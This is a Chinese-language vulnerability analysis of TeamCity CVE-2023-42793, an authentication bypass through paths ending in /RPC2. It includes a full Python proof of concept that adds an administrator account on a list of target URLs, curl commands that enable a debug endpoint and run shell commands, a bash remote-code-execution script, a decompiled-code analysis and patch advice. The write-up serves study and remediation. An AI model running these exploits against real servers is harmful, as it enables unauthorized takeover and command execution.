一、JetBrains TeamCity簡介
- 靈活的構建配置:TeamCity 支持多種構建工具(如 Maven、Gradle、npm、MSBuild 等),可輕鬆集成到現有的開發工具鏈中。它還提供了豐富的構建配置選項,允許您根據項目需求定製構建過程。
- 實時構建狀態和反饋:TeamCity 提供了實時的構建狀態和反饋,幫助您快速發現並解決潛在問題。此外,它還支持與多種通知渠道(如郵件、Slack、HipChat 等)集成,確保團隊及時瞭解構建過程的情況。
- 分佈式構建:TeamCity 支持分佈式構建,允許您在多臺構建代理上並行執行構建任務,以提高構建速度和效率。此外,它還可以根據負載和需求自動管理構建代理,確保資源的合理分配。
- 豐富的插件生態:TeamCity 擁有豐富的插件生態,可以與衆多第三方工具和服務集成,如版本控制系統(如 Git、SVN、Mercurial 等)、問題跟蹤系統(如 Jira、YouTrack 等)以及代碼審查工具(如 Codecov、SonarQube 等)。
- 支持多種部署方式:TeamCity 支持多種部署方式,如自動部署到雲服務(如 AWS、Google Cloud、Azure 等)、容器化部署(如 Docker、Kubernetes 等)以及傳統的虛擬機部署。
- 高度可定製和擴展:TeamCity 提供了高度可定製的用戶界面,允許您根據團隊和項目需求調整界面佈局。此外,它還提供了豐富的 API 和擴展點,方便您開發自定義插件和集成其他工具。
- 良好的安全性和權限管理:TeamCity 提供了一套完善的安全性和權限管理機制,支持用戶認證、角色授權以及訪問控制等功能,確保您的構建過程和敏感數據得到有效保護。
參考鏈接:
https://juejin.cn/post/7217082232937447485 https://www.jetbrains.com/teamcity/download/download-thanks.html?platform=mac
二、TeamCity使用
0x1:安裝
要安裝TeamCity很簡單,首先到下載頁面下載TeamCity,下載完成之後安裝即可。
TeamCity分爲兩個服務,
- 一個叫做構建代理,實際的項目構建都是通過這個代理服務來執行的
- 一個服務就是TeamCity的網頁版控制端,讓我們可以方便的通過網頁進行管理
在下載頁面上可以看到有多個操作系統,不論是Windows、macOS還是Linux都可以運行TeamCity。
- 啓動程序:./runAll.sh start
- 停止程序:./runAll.sh stop
0x2:初始化
安裝完成並啓動TeamCity之後,我們就可以在Web頁面中訪問它了。
http://127.0.0.1:8111/mnt
第一次使用需要配置用戶並初始化,之後稍微等待一段時間即可。
0x3:新建項目
參考鏈接:
https://blog.csdn.net/whatday/article/details/108684562 https://blog.csdn.net/weixin_41133233/article/details/86364238 https://blog.kangyonggan.com/2018/08/06/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90%E5%B7%A5%E5%85%B7TeamCity%E7%9A%84%E5%AE%89%E8%A3%85%E5%92%8C%E4%BD%BF%E7%94%A8/
三、漏洞復現
下載2023.05.4之前的版本,
該漏洞是由於對服務器 API 的訪問控制不足造成的,允許未經身份驗證的攻擊者訪問管理面板。
利用該漏洞,攻擊者可以通過網絡訪問 TeamCity 服務器,獲取項目源代碼,並通過在項目構建任務執行代理上執行任意代碼,對基礎架構發起進一步攻擊。該漏洞可能會給供應商帶來不可接受的網絡安全事件。
我們從一個python poc開始,逐步分析這個漏洞的成因,
python3 CVE-2023-42793.py -u http://127.0.0.1:8111/
import random import requests import argparse import xml.etree.ElementTree as ET Color_Off="\033[0m" Black="\033[0;30m" # Black Red="\033[0;31m" # Red Green="\033[0;32m" # Green Yellow="\033[0;33m" # Yellow Blue="\033[0;34m" # Blue Purple="\033[0;35m" # Purple Cyan="\033[0;36m" # Cyan White="\033[0;37m" # White class CVE_2023_42793: def __init__(self): self.url = "" self.session = requests.session() def username(self): name = "H454NSec" random_id = random.randint(1000, 9999) return f"{name}{random_id}" def delete_user_token(self, url): self.url = url headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate" } try: response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10) if response.status_code == 204 or response.status_code == 404: self.create_user_token() except Exception as err: pass def create_user_token(self): headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Accept-Encoding": "gzip, deflate" } try: response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10) if response.status_code == 200: response_text = response.text root = ET.fromstring(response_text) value = root.get('value') if value.startswith("eyJ0eXAiOiAiVENWMiJ9"): self.create_user(value) except Exception as err: pass def create_user(self, token): uname = self.username() headers = { "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0", "Accept": "*/*", "Authorization": f"Bearer {token}", "Content-Type": "application/json", } creds = { "email": "", "username": uname, "password": "@H454NSec", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } try: response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10) if response.status_code == 200: print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}") with open("vulnerable.txt", "a") as o: o.write(f"[{uname}:@H454NSec] {self.url}\n") except Exception as err: pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', help='Url of the TeamCity') parser.add_argument('-l', '--list', help='List of urls') args = parser.parse_args() db = [] url_list = args.list if url_list: try: with open(url_list, "r") as fr: for data in fr.readlines(): db.append(data.strip()) except Exception as err: print(err) elif args.url: db.append(args.url) cve = CVE_2023_42793() for ip in db: url = ip[:-1] if ip.endswith("/") else ip if not url.startswith("https://"): if not url.startswith("http://"): url = f"http://{url}" cve.delete_user_token(url)
這個poc的代碼流程也很簡單,
- 刪除用戶token
- 創建用戶token
- 創建用戶
參考鏈接:
https://www.4hou.com/posts/3rmQ https://blog.csdn.net/ptsecurity/article/details/133324429 https://github.com/H454NSec/CVE-2023-42793/blob/main/CVE-2023-42793.py
四、漏洞代碼分析
這個漏洞的根源是鑑權身份認證繞過。
首先,我們看一下配置文件,找一下認證的位置。發現認證位置在calledOnceInterceptors裏面,這個的調用是在jetbrains.buildServer.controllers.interceptors類下面。
<mvc:interceptors>:這是 Spring MVC 中配置攔截器的部分。它列出了多個攔截器,這些攔截器將在請求處理過程中按順序執行。每個元素引用一個攔截器 bean。
這段配置文件指定了一組攔截器,它們將在請求處理過程中執行特定的邏輯。這些攔截器通常用於在請求到達控制器之前或之後執行一些操作,比如接下來的身份驗證。而且可以看到這個calledOnceInterceptors是jetbrains.buildServer.controllers.interceptors.RequestInterceptors實例,在具體的ref配置中可以看到,將authorizedUserInterceptor認證添加到實例中。
配置完攔截器後,接下來將對請求進行攔截。
具體攔截邏輯在 preHandle 方法中實現,我們來重點分析一下這塊函數邏輯,
首先,它調用requestPreHandlingAllowed(paramHttpServletRequest) 方法來檢查請求是否允許進行預處理。如果這個方法返回true,那麼會執行 myInterceptors 列表中每個攔截器的 preHandle 方法。
跟進requestPreHandlingAllowed()分析。
requestPreHandlingAllowed 方法檢查是否應該跳過身份驗證檢查。
其中,myPreHandlingDisabled 包含通配符路徑 /**/RPC2,用於測試傳入 HTTP 請求的路徑。
如果請求的路徑匹配了 myPreHandlingDisabled 中的路徑,requestPreHandlingAllowed 返回 false,這將導致 preHandle 方法提前返回,從而繞過身份驗證檢查。
這導致了一個典型的授權繞過漏洞。如果攻擊者能夠構造請求,以便路徑匹配 /**/RPC2,則可以繞過身份驗證,從而執行某些操作,而無需經過正常的身份驗證和授權檢查。
對於攻擊者來說,尋找在應用程序中使用了 /**/RPC2 路徑的端點,然後構造請求以匹配這個路徑。一旦找到這樣的目標端點,攻擊者就可以發送請求,繞過身份驗證和授權檢查來執行攻擊。
接下來反編譯 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/plugins/rest-api/server/rest-api.jar,
越權獲取高權限token的漏洞代碼在 jetbrains.buildServer.server.rest.request.UserRequest,
createToken方法允許調用者通過向端點發送 HTTP POST 請求來爲指定用戶創建訪問令牌/app/rest/users/{userLocator}/tokens/{name},而{name}允許結尾以/RPC2來繞過身份驗證。
通過將 "userLocator" 參數設置爲 "id:1",可以調用 "createToken" 方法並使用管理員用戶的憑證來創建令牌。這個令牌可以用於進行授權操作或執行其他需要管理員權限的操作。
在獲取了高權限賬號token後,執行任意指令的漏洞代碼在 jetbrains.buildServer.server.rest.request.DebugRequest,這是一個產品界面上沒有的未記錄的調試API端點,
調用此端點的能力由配置選項控制rest.debug.processes.enable,默認情況下禁用。因此,我們必須首先通過以下請求啓用此選項。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" -X POST "http://127.0.0.1:8111/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
最後,爲了讓系統使用此選項,我們必須通過以下請求刷新服務器。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" "http://127.0.0.1:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties"
我們現在可以在服務器上運行任意 shell 命令,並向端點發出以下請求/app/rest/debug/processes。例如:
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a1dtOWtUY1B6RXhZZHVtMGxDRnhCeW52X2FR.OTFhM2Y0OWYtMGFlZC00N2UyLWEyZWItNjU0YzliNjc5NDg2" -X POST "http://127.0.0.1:8111/app/rest/debug/processes?exePath=bash^¶ms=-c whoami"
綜上poc如下:
#!/bin/bash if [ "$#" -ne 3 ]; then echo "Usage: $0 <base_url> <port> <command>" exit 1 fi BASE_URL="$1" PORT="$2" COMMAND="$3" TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2" EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}" TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT") BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+') curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' ) curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" echo $RESPONSE
參考鏈接:
http://java-decompiler.github.io/ https://www.ctfiot.com/141977.html https://forum.butian.net/share/2514
五、修復建議
根據供應商的建議,要修復該漏洞,應將 TeamCity 服務器升級到 2023.05.4 版。 要降低與該漏洞相關的風險,應安裝供應商的補丁插件。
分析一下漏洞補丁:https://blog.jetbrains.com/zh-hans/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/
myPreHandlingDisabled 對象中添加了路徑 "/RPC2" 並刪除了所有匹配 "/**/RPC2" 的路徑。這意味着它禁止訪問所有類似 "/example/RPC2"、"/test/RPC2" 這樣的路徑。